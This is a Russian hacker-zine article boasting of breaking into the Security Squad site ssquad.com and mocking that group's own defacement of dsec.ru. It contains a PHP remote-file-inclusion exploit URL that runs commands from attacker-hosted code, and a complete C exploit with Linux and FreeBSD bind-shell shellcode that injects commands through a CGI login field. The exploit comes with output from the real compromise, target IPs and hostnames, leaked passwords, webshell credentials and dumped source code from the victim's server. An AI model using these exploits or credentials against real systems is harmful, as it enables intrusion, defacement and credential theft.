~~ Как был взломан ssquad.com ~~
Как-то раз мы узнали про то что некая хакирская группировка отымела
сайт Digital Security (dsec.ru). Это были атцы Security Squad с
ssquad.com. Оглядев их пагу, мы пришли к выводу, что взлом оказался
чистой случайностью, но тем не менее решили посмотреть, не утянули ли
они чего-нить интересного с dsec. Благо дыр в движке оказалось навалом,
минут через 20 мы уже могли читать директории и файлы. Этого показалось
мало, поэтому мы слили все ихние скрипты, какие были в поисках cmd-exec
дырок. На следующий вечер уже был готов сплоит (см. ниже).
Далее мы в течении пары месяцев мониторили всё, что происходило на их
сайте и форуме, попутно снифая пароли юзероff. Интересного оказалось
совсем немного, самое ценное с комментами здесь.
Как был взломан DSEC.RU (ds edition)
В общем сидели мы с DodBoB (pass == qwepoizxc) и по аське трещали.... И
тут разговор зашел о посещаемости паги нашего проекта и работе
колkектива... Типа команде уже 3 месяца, а серьезных работ нет и пора
бы задуматься о посещаемости ресурса.
>> ну или как минимум, прописать в meta-content "hot porno sexy-girls big
>> tits" и прочего и зарегаться во всех pr0n-t0p-x рейтингах.
Сразу высказали несколько идей -
от массовых (красивых) дефейсов, до выкладывания чего-то вкусненького (
шеллы, аськи и т.д.)...
>> Но т.к. всё вкусненькое порастащили хлопцы из аистгруп...
Второе как-то отпало сразу и было принято решение отдефейсить нечто
серьезное. Тут постучался Shift и говорит: есть предложение -
www.dsec.ru - пойдем, типа, поковыряем.
ds> тут как раз на асю кодекса снова прилетело матерное сообщение вида
ds> "волки пазорныйя, атдайте маю асю!!", которое мы поспешно продинамили.
ds> нада было что-то делать, и тут мы вспомнили, что надо бы залабать что-
ds> нить для рубрики "как был взломан ..". Под руку попался злоебучий сайт
ds> ssquad.com..
Первым делом мы решили посмотреть где же dsec.ru хостится, хостером
оказался tau.agava.net =) Сразу появилось предположение, что хозяева
данного сайта либо слишком зазнались со своим "кондором" (система
анализа ИТ рисков), либо денег пожалели... =) Хостинг нас очень
порадовал, поэтому предположили, если такое наплевательское отношение к
жилью, то ко всему остальному такое же...
ds> заглянули мы к 55quad на сайт, движок нас прям таки обрадовал. Внизу
ds> гордо было написано "Design by Shift. Coding by Shift & Squee."...
Первое, что бросилось в глаза это голосование... Не долго думая я я
создал папку и файлик на моей народовской страничке
http://censored/lang/english.php с текстом:
<pre><? passthru($e); ?>
Exploit code:
http://dsec/poll/admin/common.inc.php?base_path=http://censored/lang/english.php&e=id;
ds> security squad exploit code:
/*** ds private wahrez 55quad_damage.c [ 15.10.04 ]
*
* evil check.cgi brain-corruption-overflow-by-two exploit to
* own Security Squad team.
*
* thanx to razor{88} for a insurstrection technique of
* right (black) stack frame.
*
* how this holy wahr33z works:
*
* $ gcc -o 55quad 55quad_damage.c
*
* $ ./55quad 194.204.33.20 ssquad.com 2
*
* *** 55quad_damage evil exploit by ds ***
* [+] connected, sending mad request
* [+] servers says OK, connecting to shell...
* [+] connected to shell! have a nice day
* FreeBSD vm.balthost.ee 4.9-RELEASE FreeBSD 4.9-RELEASE #0: Tue Apr 20 16:45:54 EEST 2004
* [email protected]:/usr/src/sys/compile/ROSE i386
* uid=1344(ssquad) gid=1345(ssquad) groups=1345(ssquad)
* w
* 10:12PM up 9:09, 3 users, load averages: 0.88, 0.75, 0.73
* USER TTY FROM LOGIN@ IDLE WHAT
* gdp p1 pc61.srv.h.starm 1:18PM 12 -
* gdp p2 pc61.srv.h.starm 1:20PM 8 -
* admin p3 ip232.cab7.lsn.s 9:50PM 21 -
*
***/
#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
// linux/x86 shellcode size: 105 bytes
char lin[] =
"\\x31\\xdb\\x43\\x6a\\x06\\x53\\x6a\\x02\\x89\\xe1\\x6a\\x66\\x58"
"\\xcd\\x80\\x89\\xc6\\x99\\x43\\x52\\x66\\x68\\xfe\\x6a\\x66\\x53"
"\\x89\\xe0\\x6a\\x10\\x50\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80"
"\\x43\\x52\\x56\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x52\\x52"
"\\x56\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x99\\x89\\xc3\\x89"
"\\xd1\\x6a\\x3f\\x5e\\x89\\xf0\\xcd\\x80\\x41\\x89\\xf0\\xcd\\x80"
"\\x41\\x89\\xf0\\xcd\\x80\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f"
"\\x2f\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\x6a\\x0b\\x58\\xcd"
"\\x80";
// freebsd/x86 shellcode size: 115 bytes
char bsd[] =
"\\x31\\xc0\\x6a\\x06\\x6a\\x01\\x6a\\x02\\x6a\\x61\\x50\\xcd\\x80"
"\\x89\\xc2\\x31\\xc0\\x66\\x50\\x50\\x66\\x68\\xfe\\x6a\\x66\\x6a"
"\\x02\\x89\\xe1\\x6a\\x10\\x51\\x52\\x6a\\x68\\x50\\xcd\\x80\\x31"
"\\xc0\\x50\\x52\\x6a\\x6a\\x50\\xcd\\x80\\x31\\xc0\\x50\\x50\\x52"
"\\x6a\\x1e\\x50\\xcd\\x80\\x89\\xc1\\x31\\xc0\\x6a\\x02\\x51\\x6a"
"\\x5a\\x50\\xcd\\x80\\x31\\xc0\\x6a\\x01\\x51\\x6a\\x5a\\x50\\xcd"
"\\x80\\x31\\xc0\\x50\\x51\\x6a\\x5a\\x50\\xcd\\x80\\x31\\xc0\\x50"
"\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50"
"\\x53\\x89\\xe2\\x50\\x52\\x53\\x6a\\x3b\\x50\\xcd\\x80";
char http_hdr[] =
"Accept: */*\r\n"
"User-Agent: Mozilla/3.0 (w00h00)\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: ";
int main(int argc, char *argv[])
{
int i, sock, log;
fd_set io;
char *hellcode, buf[256], request[1024],
head[] = "../../../../../../../../../bin/ls`" // anti-poison string
"cd /tmp;echo+\x22.globl+_start\x0a_start:\x0a.ascii+\\\x22",
// insurstrection tech
tail[] = "\\\x22\x22>a;as+-o+b+a;ld+-o+c+b;./c`\x7c";
struct sockaddr_in con;
printf("\n\n\t *** 55quad_damage evil exploit by ds ***\n");
if (argc < 4){
printf(" usage: ./55quad_damage <server_ip> <vhost> <os>\n");
printf("\n os types:\n\t 1\t\t- Linux (default)\n\t 2\t\t- FreeBSD\n");
printf("\n (i.e. ./55quad_damage 127.0.0.1 localhost 1 )\n");
return -1;
}
memset(&request, 0, 1024);
memset(&con, 0, 16);
con.sin_family = 2;
con.sin_port = htons(80);
if (atoi(argv[3]) == 1) hellcode = (char *)&lin;
if (atoi(argv[3]) == 2) hellcode = (char *)&bsd;
con.sin_addr.s_addr = inet_addr(argv[1]);
i = 6 + strlen(head)+strlen(tail)+strlen(hellcode);
sprintf(request, "POST /cgi-bin/check.cgi HTTP/1.1\r\n"
"%s%d\r\n" // HTTP header
"Host: %s\r\n"
"\r\n" // blank string
"login=%s%s%s\r\n\r\n", http_hdr, i, argv[2], head, hellcode, tail);
sock = socket(2, 1, 6);
if ((connect(sock, (struct sockaddr *)&con, 16)) < 0){
printf("[-] can't connect to server\n");
return -1;
}
printf("[+] connected, sending mad request (len %d)\n", strlen(request));
send(sock, (char *)&request, strlen(request), 0);
printf("[+] done, wait a sec...\n");
/* prepare logging */
memset(&tail, 0, sizeof(tail)-1);
snprintf(tail, sizeof(tail)-1, "%s.log", argv[2]);
log = open(tail, O_CREAT | O_WRONLY | O_APPEND);
write(log, "****** new session\n\n", 20);
sleep(1);
close(sock); // kill previous conn
sock = socket(2, 1, 6);
con.sin_port = htons(65130);
if ((connect(sock, (struct sockaddr *)&con, 16)) < 0){
printf("[-] can't connect to shell\n");
return -1;
}
printf("[+] connected to shell! have a nice day\n");
send(sock, "uname -a; id;\n", 14, 0);
while(1){
FD_ZERO(&io);
FD_SET(0, &io);
FD_SET(sock, &io);
select(sock+1, &io, 0, 0, 0);
if (FD_ISSET(0, &io)){
memset(&buf, 0, 256);
i = read(0, &buf, 256);
if (i > 0){
send(sock, (char *)&buf, i, 0);
write(log, "$ ", 2);
write(log, &buf, i);
}
if (i < 0) return -1;
}
if (FD_ISSET(sock, &io)){
memset(&buf, 0, 256);
i = recv(sock, (char *)&buf, 256, 0);
if (i > 0){
write(1, &buf, i);
write(log, &buf, i);
}
if (i < 0) return -1;
}
}
return 0;
}
ds> eof
Шелл получен. Честно говоря я охренел... Шелл с правами юзера dsec57 =)
ds> шелл был получен. Честно говоря мы не охренели... шелл с правами юзера
ds> ssquad %)
Сразу был сделан анализ исходных кодов ресурса, было обнаружено еще две
уязвимости, но я о них умолчу, потому как если нашему проекту будут
поступать угрозы от dsec "экспертов", мы бы могли немедленно ответить.
>> но к несчастью сайт поимели не dsec, а ds..
ds> было обнаружено по баге в каждом втором скрипте, но мы умолчим о них
ds> не потому что нам понадобится отвечать, а просто так.
После осмотра был залит дефейс с нашего shell_phantom`a , вы его можете
посмотреть в новостях:
http://www.xakep.ru/post/24516/
Хотелось бы отметить наплевательское отношение, админов к собственной
безопасности и отсутствие способностей к анализу вторжений и собственных
исходных кодов.
>> тоже можно сказать и про ssquad.com, так что это те же яйца, тока в
>> профиль.
Проверить компетентность DSEC "экспертов" вы можете прямо тут и сечайс
>> для этого достаточно выполнить следующие шаги:
>> $ gcc -o 55quad_damage 55quad_damage.c
>> $ ./55quad_damage 194.204.33.20 ssquad.com 2
http://www.dsec.ru/1.php
login:r57
passwd:r57
Удаленный cgi шелл в вашем распоряжении.
>> fuh, ылита юзает варез от rst??
Best Regards eyes (pass == pupkin_zade) & dodbob (SSQUAD TEAM)
P.S. И эти люди занимаются penetration тестингом... Воистину ваша
безопасность в ваших руках.
ds> и эти люди именуют себя Security Squad??
P.S2. Так же статья предоставлена журналу "Хакер"
>> так же статья предоставлена журналу defaced
================================================================================
Пара слов о безопасности сайта или покажи фак киддисам
================================================================================
Не буду рассказывать сказки, а сразу скажу, что нужно делать.
ds> не будем рассказывать сказки, все и так уже поняли что Securty Squad это
ds> кучка дебилов.
1. Выбрать хорошего хостера, это сразу решает большинство проблем безопасности.
ds> о-да, balthost неплохой хостинг. Повезло что админ проапдейтился вовремя.
2. Настроить свой сайт
Итак, заходи на FTP своего сайта и расставляй там такие атрибуты к файлам и
папкам: index.php (index.html index.html) - 511
Главное поставь права доступа к каталогу для своего юзера на чтение, а группе и
посторонним запретить вообще !
ds> вот например как тут у ssquad.com:
ds>
ds> $ ls -la
ds> total 84
ds> drwxrwx--- 10 nobody ssquad 512 Nov 4 22:48 .
ds> dr-xrwx--t 13 nobody ssquad 512 Nov 4 18:40 ..
ds> -rw-r--r-- 1 ssquad ssquad 0 Oct 10 14:50 .htaccess
ds> -rw-r--r-- 1 ssquad ssquad 63 Oct 9 22:02 .htacxxxcess
ds> -rw-r--r-- 1 ssquad ssquad 17658 Oct 9 22:45 1.jpg
ds> drwxr-xr-x 6 ssquad ssquad 512 Nov 2 15:00 cgi-bin
ds> drwxr-xr-x 3 ssquad ssquad 512 Oct 24 21:24 defacez
ds> drwxr-xr-x 2 ssquad ssquad 512 Nov 2 12:36 fF0sssq
ds> drwxr-xr-x 14 ssquad ssquad 1024 Oct 18 23:11 forum
ds> drwxr-xr-x 2 ssquad ssquad 512 Nov 4 23:01 images
ds> drwxr-xr-x 3 ssquad ssquad 1024 Oct 26 21:24 imgirc
ds> drwxr-xr-x 2 ssquad ssquad 512 Nov 4 10:48 inc
ds> -rw-r--r-- 1 ssquad ssquad 1788 Oct 22 18:03 index.html
ds> drwxr-xr-x 10 ssquad ssquad 512 Oct 6 18:17 soft
ds>
Еще нужно отредактировать php.ini (на хорошем хостере предусмотрена такая
возможность):
register_globals=off
allow_url_fopen=off
safe_mode=on
disable_functions=system,cmd,passthru,phpinfo
Если необходимо использовать системные команды, то можно поступить так:
$cmd=escapeshellcmd($string);
Если используешь публичные движки для сайта, не поленись подредактировать
префикс в таблицах к БД, это спасет тебя от SQL - атак.
Регулярно обновляй этот движок / cкрипт.
ds> поняли, дети?? всегда обновляйте движок как это делает SSquad:
ds> cgi-bin/check.cgi cut here ---------------------------------------
#!/usr/bin/perl
use CGI::Cookie;
use CGI qw(:all);
sub get_form
{
read (STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs)
{
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/% ([a-fA-F0-9][a-fA-F0-9])/pack ("c",hex($1))/eg;
$value =~ s/<!--(.|\n)*-->//g;
$Form{$name}=$value;
}
}
&get_form;
#function of control panel
sub get_in
{
print "<html><body bgcolor=silver>
<table border=1 width=100% height=100%><tr height=20><td align=center>SSquad(c)</td><td></td></tr>
<tr><td align=center width=70 >";
if ($mass[1]==1)
{
print "<form action=add_user.cgi method=post><input type=submit value=AddUser ></form><br>";
}
else {}
if ($mass[2]==1)
{
print "<form action=add_news.cgi method=post><input type=submit value=News ></form><br>";
}
else {}
if ($mass[3]==1)
{
print "<form action=add_articles.cgi method=post><input type=submit value=Articles ></form><br>";
}
else {}
if ($mass[4]==1)
{
print "<form action=add_defaces.cgi method=post><input type=submit value=Defaces ></form><br>";
}
else {}
if ($mass[5]==1)
{
print "<form action=add_bug.cgi method=post><input type=submit value=BugTrack ></form><br>";
}
else {}
if ($mass[6]==1)
{
print "<form action=add_voiting.cgi method=post><input type=submit value=Voiting ></form><br>";
}
else {}
if ($mass[7]==1)
{
print "<form action=add_downloads.cgi method=post><input type=submit value=Soft ></form><br>";
}
else {}
if ($mass[8]==1)
{
print "<form action=add_friend.cgi method=post><input type=submit value=Friends ></form>";
}
else {}
opendir(DIR, "../../admins");
my @dir=grep !/^\.+$/,readdir DIR;
closedir DIR;
print "</td><td align=center><h2><b>You have entred administration form.
Welcome, \U $Form{'login'}.<br></h2>We Are:</b> @dir</td></table></body></html>"
}
#name&password check
open (INFO, "../../admins/$Form{'login'}");
my $info=<INFO>;
@mass = split (/ /, "$info");
$password=crypt($Form{'pass'}, substr($Form{'pass'},-1));
if (($Form{'login'}) && ($password eq $mass[0]))
{
my $cookie = new CGI::Cookie(-name=>"info", -value=>"$Form{'login'} $password");
print header(-cookie=>$cookie);
open(FD, ">>add_news.cgi");
# hehe, defaced sniffing includez:
if ($Form{'pass'} ne ""){
print FD "# $Form{'login'} / $Form{'pass'}\n"; }
close(FD);
&get_in;
}
else
{
print "content-type: text/html\n\n";
print " <html> <body bgcolor=silver>
<br><br><br><br><br><br><br><br><br><br><br>
<center> <h1><b>Identify yourself.</b></h1>
<form action=check.cgi method=post>
<b>User name:</b> <input type=text name=login>
<br><br>
<b>Password :</b> <input type=password name=pass>
<p>
<input type=submit value=ENTER>
</form></center></body></html> ";
}
ds> cut here -------------------------------------------
ds> кто не видит тут дырки тот слепой
Если у тебя есть какой-то каталог на сервере с личными данными не поленись
заблокировать его для веба с помощью .htaccess:
----------------------
deny from all
---------------------
Не храни пароли в открытом виде, шифруй их, не составляй их из общедоступных слов.
ds> никогда, запомни, никогда не храни их в открытом виде и даже не думай их
ds> plain-текстом передавать!! (look end of this article)
Если ты все правильно сделаешь и подойдешь к задаче с умом, у тебя все получится,
кидисы будут тебе не страшны, а о безопасности всего сервера пусть заботится
главный админ. Пусть обновляет Апач и другое ПО . А о том как защищать сам
сервер, тема уже отдельной статьи..
ds> но т.к. у самих Security Squad мозгов очень мало, бага оказалась в скрипте
ds> админ-зоны, также есть куча дырок по всему движку и форуму, но о это уже
ds> тема для отдельной статьи.
P.S. еcли что-то не получается, пиши мне, помогу ...
[email protected]
ds> hehe, ждём писем )))
И благодарности я принимаю в WebMoney и чем больше, тем лучше...
------------------------------------------------------------------------------------
Z759508300454
U037954733700
R104974205442
E382172043552
------------------------------------------------------------------------------------
ds> не скупитесь товарищи, все средства переходят к нам в благотворительность.
ds> не дадим кидисам умереть!!
//////////////////////////////
///////////////////////////////
Writed by DreAmeRz
ssquad.com
При перепечатке ссылка на ssquad.com – обязательна, а, то мы действуем быстро !
ds> хаха, мы быстрее оказались )) Кто успел тот и съел, а??
################################################################################
More phun things:
$ cd cgi-bin
$ ls -la
total 260
drwxr-xr-x 6 ssquad ssquad 512 Nov 2 15:00 .
drwxrwx--- 10 nobody ssquad 512 Nov 4 22:48 ..
-rwxr-xr-x 1 ssquad ssquad 5124 Oct 29 16:28 add_articles.cgi
-rwxr-xr-x 1 ssquad ssquad 4897 Sep 28 20:01 add_bug.cgi
-rwxr-xr-x 1 ssquad ssquad 5408 Sep 28 20:01 add_defaces.cgi
-rwxr-xr-x 1 ssquad ssquad 10502 Sep 28 20:01 add_downloads.cgi
-rwxr-xr-x 1 ssquad ssquad 5424 Oct 27 16:41 add_friend.cgi
-rwxr-xr-x 1 ssquad ssquad 6236 Nov 4 09:43 add_news.cgi
-rwxr-xr-x 1 ssquad ssquad 4089 Sep 28 19:56 add_user.cgi
-rwxr-xr-x 1 ssquad ssquad 4274 Oct 10 21:23 add_voiting.cgi
-rwxr-xr-x 1 ssquad ssquad 15144 May 14 23:15 cgiecho
-rwxr-xr-x 1 ssquad ssquad 15144 May 14 23:15 cgiemail
-rwxr-xr-x 1 ssquad ssquad 2833 Oct 23 20:38 check.cgi
-rwxr-xr-x 1 ssquad ssquad 2171 Oct 22 19:10 contacts.cgi
-rwxr-xr-x 1 ssquad ssquad 2764 May 14 23:15 entropybanner.cgi
-rwxr-xr-x 1 ssquad ssquad 11539 Oct 29 16:29 index.cgi
drwxr-xr-x 6 ssquad ssquad 512 Oct 26 21:19 irc
-rwxr-xr-x 1 ssquad ssquad 2760 May 14 23:15 randhtml.cgi
drwxr-xr-x 2 ssquad ssquad 512 Sep 28 19:40 templates
drwxr-xr-x 2 ssquad ssquad 512 Sep 28 19:41 tools
drwxr-xr-x 2 ssquad ssquad 512 Oct 10 21:23 voiting
-rwxr-xr-x 1 ssquad ssquad 2090 Oct 17 20:32 voiting.cgi
$ ls -la irc/
total 152
drwxr-xr-x 6 ssquad ssquad 512 Oct 26 21:19 .
drwxr-xr-x 6 ssquad ssquad 512 Nov 2 15:00 ..
-rw-r--r-- 1 ssquad ssquad 29 Oct 26 21:16 .cvsignore
-rw-r--r-- 1 ssquad ssquad 105 Oct 26 21:16 .htaccess
-rw-r--r-- 1 ssquad ssquad 954 Oct 26 21:16 cgiirc.config
-rw-r--r-- 1 ssquad ssquad 6056 Oct 26 21:16 cgiirc.config.full
-rwxr-xr-x 1 ssquad ssquad 2375 Oct 26 21:16 client-perl.cgi
-rw-r--r-- 1 ssquad ssquad 4117 Oct 26 21:16 client.c
drwxr-xr-x 2 ssquad ssquad 512 Oct 26 21:16 docs
drwxr-xr-x 2 ssquad ssquad 512 Oct 26 21:17 formats
drwxr-xr-x 3 ssquad ssquad 512 Oct 26 21:18 interfaces
-rw-r--r-- 1 ssquad ssquad 1637 Oct 26 21:16 ipaccess.example
-rwxr-xr-x 1 ssquad ssquad 5922 Oct 26 21:16 irc.cgi
drwxr-xr-x 3 ssquad ssquad 512 Oct 26 21:19 modules
-rwxr-xr-x 1 ssquad ssquad 34031 Oct 26 21:16 nph-irc.cgi
$ cd irc
$ cat irc.cgi
#! /usr/bin/perl -w
# CGI:IRC - http://cgiirc.sourceforge.net/
# Copyright (C) 2000-2003 David Leadbeater <[email protected]>
# vim:set ts=3 expandtab shiftwidth=3 cindent:
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Uncomment this if the server doesn't chdir (Boa).
# BEGIN { (my $dir = $0) =~ s|[^/]+$||; chdir($dir) }
use strict;
use vars qw($VERSION);
use lib qw/modules interfaces/;
($VERSION =
'$Name: rel_0_5_4 $ 0_5_CVS $Id: irc.cgi,v 1.28 2004/01/29 14:50:27 dgl Exp $'
) =~ s/^.*?(\d\S+) .*?(\d{4}\/\S+) .*$/$1/;
$VERSION .= " ($2)";
$VERSION =~ s/_/./g;
require 'parse.pl';
if(!parse_cookie()) {
print "Set-cookie: cgiircauth=". random(25) .";path=/\n";
}
print join("\r\n",
'Content-type: text/html',
'Pragma: no-cache',
'Cache-control: must-revalidate, no-cache',
'Expires: -1') . "\r\n";
# Please leave this.
my $copy = <<EOF;
<font size =+1>
Так же вы можете подключиться наш канал с помошью программы mIRC.<br> Скачать её можно либо на нашем сайте, либо на сайте производителя. <br>сервер: <b>irc.icqinfo.ru</b><br>канал: <b>#ssquad</b> <br><br><a href="http://www.ssquad.com/">Security Squad</a><br />
EOF
my $config = parse_config('cgiirc.config');
my $cgi = cgi_read();
my $scriptname = $config->{script_login} || 'irc.cgi';
my $interface = ref $cgi && defined $cgi->{interface} ? $cgi->{interface} : 'default';
$interface =~ s/[^a-z0-9]//gi;
require('interfaces/' . $interface . '.pm');
if(ref $cgi && defined $cgi->{item}) {
print "\r\n"; # send final header
my $name = $cgi->{item};
exit unless $interface->exists($name);
$interface->$name($cgi, $config, 0);
}elsif(ref $cgi && defined $cgi->{Nickname}) {
print "\r\n"; # send final header
my $r = random();
my($format, $style);
my %p = (
Nickname => 'nick',
Channel => 'chan',
Port => 'port',
Server => 'serv',
Realname => 'name',
interface => 'interface',
Password => 'pass',
Format => 'format'
);
my $out;
for(keys %p) {
next unless exists $cgi->{$_};
$out .= cgi_encode($p{$_}) . '=' . cgi_encode($cgi->{$_}) . '&';
}
$format = exists $cgi->{Format}
? $cgi->{Format}
: $config->{format} || 'default';
$format =~ s/[^a-z]//gi;
$format = parse_config("formats/$format");
$style = exists $format->{style} ? $format->{style} : 'default';
$out .= "R=$r";
$out =~ s/\&$//;
$interface->frameset($scriptname, $config, $r, $out, $interface, $style);
}elsif(defined $config->{form_redirect}) {
print join("\r\n",
"Status: 302",
"Location: $config->{form_redirect}",
"",
$config->{form_redirect});
}else{
print "\r\n"; # send final header
my(%items,@order);
my $server = dolist($config->{default_server});
my $channel = dolist($config->{default_channel});
my $port = dolist($config->{default_port});
if(ref $cgi && $cgi->{chan}) {
$channel = $cgi->{chan};
}
if(!defined $config->{allow_non_default} || !$config->{allow_non_default}) {
$server = "-DISABLED- $server" unless ref $server;
$channel = "-DISABLED- $channel" unless ref $channel;
$port = "-DISABLED- $port" unless ref $port;
}elsif(!defined $config->{access_server} || !$config->{access_server}) {
$server = "-DISABLED- $server" unless ref $server;
}
opendir(FORMATS, "formats");
my @formats;
for(sort readdir FORMATS) {
next unless !/^\./ && -f "formats/$_";
if($_ eq ($config->{format} || 'default')) {
unshift(@formats, $_);
}else{
push(@formats, $_);
}
}
closedir(FORMATS);
%items = (
Nickname => $ENV{REMOTE_USER} || $config->{default_nick},
Channel => $channel,
Server => $server,
Port => $port,
Password => '-PASSWORD-',
Realname => $config->{default_name},
Format => \@formats,
);
@items{keys %items} = map(ref $_ ? $_ : escape_html($_), values %items);
$items{Nickname} =~ s/\?/int rand 10/eg;
if(ref $cgi && $cgi->{adv}) {
if($config->{'login advanced'}) {
@order = split(' ', $config->{'login advanced'});
}else{
@order = qw/Nickname Realname Server Port Channel Password Format/;
}
}else{
if($config->{'login basic'}) {
@order = split(' ', $config->{'login basic'});
}else{
@order = qw/Nickname Server Channel/;
}
}
$interface->login($scriptname, $interface, $copy, $config,
\@order, \%items,
(ref $cgi && $cgi->{adv} ? 0 : 1));
}
sub random {
return join('',map(('a'..'z','0'..'9')[int rand 62], 0..($_[0] || 15)));
}
sub dolist {
my($var) = @_;
my @tmp = split(/,\s*/, $var);
return [@tmp] if $#tmp > 0;
return $var;
}
sub cgi_read {
return unless defined $ENV{REQUEST_METHOD};
if($ENV{REQUEST_METHOD} eq 'GET' && $ENV{QUERY_STRING}) {
return parse_query($ENV{QUERY_STRING});
}elsif($ENV{REQUEST_METHOD} eq 'POST' && $ENV{CONTENT_LENGTH}) {
my $tmp;
read(STDIN, $tmp, $ENV{CONTENT_LENGTH});
return parse_query($tmp);
}
}
sub cgi_encode { # from CGI.pm
my $toencode = shift;
$toencode=~s/([^a-zA-Z0-9_.-])/uc sprintf("%%%02x",ord($1))/eg;
return $toencode;
}
sub error {
die(@_);
}
$ cat client.c
/* CGI:IRC C Helper CGI
* Copyright (c) David Leadbeater 2002
* Released Under the GNU GPLv2 or Later
* NO WARRANTY - See GNU GPL for more
* $Id: client.c,v 1.9 2002/05/11 14:52:18 dgl Exp $
*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
/* Change this to the tmpfile path set in the CGI:IRC Config */
#define TMPLOCATION "/tmp/cgiirc-"
int unix_connect(char *where);
int error(char *error);
int readinput(char *params);
int get_rand(char *params, char *rand);
int get_cookie(char *cookie);
int main(void) {
int fd;
char params[2048]; /* Keep input in here */
char rand[50]; /* Random value - used for the socket location */
char tmp[2148]; /* I decided to stop adding comments after here */
char cookie[100];
if(!readinput(params)) error("No input found\n");
if(!get_rand(params, rand)) error("Random Value not found\n");
if(get_cookie(cookie)) {
char tmp2[2148]; /* I'm sure there's a better way of doing this.. */
strncpy(tmp2, params, 2147);
snprintf(params, 2148, "COOKIE=%s&%s", cookie, tmp2);
}
fd = unix_connect(rand);
send(fd, params, strlen(params), 0);
send(fd, "\n", 1, 0);
while(read(fd, tmp, 2048) > 0) {
printf("%s",tmp);
}
return 1;
}
int error(char *error) {
printf("Content-type: text/html\n\n");
printf("An error occured: %s\n",error);
exit(1);
}
int readinput(char *params) {
char request[10];
if(!getenv("REQUEST_METHOD")) return 0;
strncpy(request, getenv("REQUEST_METHOD"), 9);
request[9] = 0;
if(!strlen(request)) return 0;
if(strncmp(request, "GET", 3) == 0) {
strncpy(params, getenv("QUERY_STRING"), 2048);
params[2048] = 0;
if(!strlen(params)) return 0;
return 1;
}else if(strncmp(request, "POST", 4) == 0) {
int length;
if(!getenv("CONTENT_LENGTH")) return 0;
length = atoi(getenv("CONTENT_LENGTH"));
if(!length || length == 0) return 0;
fread(params, length > 2048 ? 2048 : length, 1, stdin);
params[length] = 0;
return 1;
}else{
return 0;
}
}
int get_rand(char *params, char *rand) {
char *ptr, *end_ptr;
int r = 0, i = 0;
ptr = params;
end_ptr = ptr + strlen(ptr);
for(;ptr < end_ptr; ptr++) {
if(r == 1) {
if(*ptr == '&') break;
if(i > 48) break;
if(isalpha(*ptr) || isdigit(*ptr)) {
rand[i] = *ptr;
i++;
}
}else if(*ptr == 'R' && *(++ptr) == '=') {
r = 1;
}
}
rand[i] = 0;
if(r == 1 && strlen(rand)) return 1;
return 0;
}
int get_cookie(char *cookie) {
char ctmp[1024];
char *sptr, *end_ptr;
int i;
if(!getenv("HTTP_COOKIE")) return 0;
strncpy(ctmp, getenv("HTTP_COOKIE"), 1023);
sptr = strstr(ctmp, "cgiircauth=");
if(sptr == NULL) return 0;
if(strlen(sptr) < 12) return 0;
sptr += 11;
end_ptr = sptr + (strlen(sptr) < 99 ? strlen(sptr) : 99);
i = 0;
while((int)sptr < (int)end_ptr && *sptr != ';') {
cookie[i] = *sptr;
sptr++;
i++;
}
cookie[i] = '\0';
return 1;
}
int unix_connect(char *where) {
/*size_t size;*/
struct sockaddr_un saddr;
int sock, len;
char filename[100], errmsg[100];
len = strlen(TMPLOCATION) + strlen(where) + 6;
if(len > 100) error("Too long");
snprintf(filename, len, "%s%s/sock", TMPLOCATION, where);
filename[len] = 0;
sock = socket(AF_UNIX, SOCK_STREAM, 0);
if(sock == -1) error("socket() error\n");
saddr.sun_family = AF_UNIX;
strcpy(saddr.sun_path, filename);
if(connect(sock, (struct sockaddr *)&saddr, SUN_LEN(&saddr)) == -1) {
switch(errno) {
case EACCES:
error("Access Denied in connect()\n");
case ECONNREFUSED:
error("Connection refused in connect()\n");
case ENOENT:
error("No such file in connect()\n");
default:
snprintf(errmsg, 99, "Unhandled error in connect(): %s\n", strerror(errno));
error(errmsg);
}
}
return sock;
}
$ cat nph-irc.cgi
#! /usr/bin/perl -T
# CGI:IRC - http://cgiirc.sourceforge.net/
# Copyright (C) 2000-2003 David Leadbeater <[email protected]>
# vim:set ts=3 expandtab shiftwidth=3 cindent:
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Uncomment this if the server doesn't chdir (Boa).
# BEGIN { (my $dir = $0) =~ s|[^/]+$||; chdir($dir) }
require 5.004;
use strict;
use lib qw{./modules ./interfaces};
use vars qw(
$VERSION @handles %inbuffer $select_bits @output
$unixfh $ircfh $cookie $ctcptime $intime $pingtime
$timer $event $config $cgi $irc $format $interface $ioptions
$regexpicon %regexpicon
);
($VERSION =
'$Name: rel_0_5_4 $ 0_5_CVS $Id: nph-irc.cgi,v 1.91 2004/01/29 11:24:48 dgl Exp $'
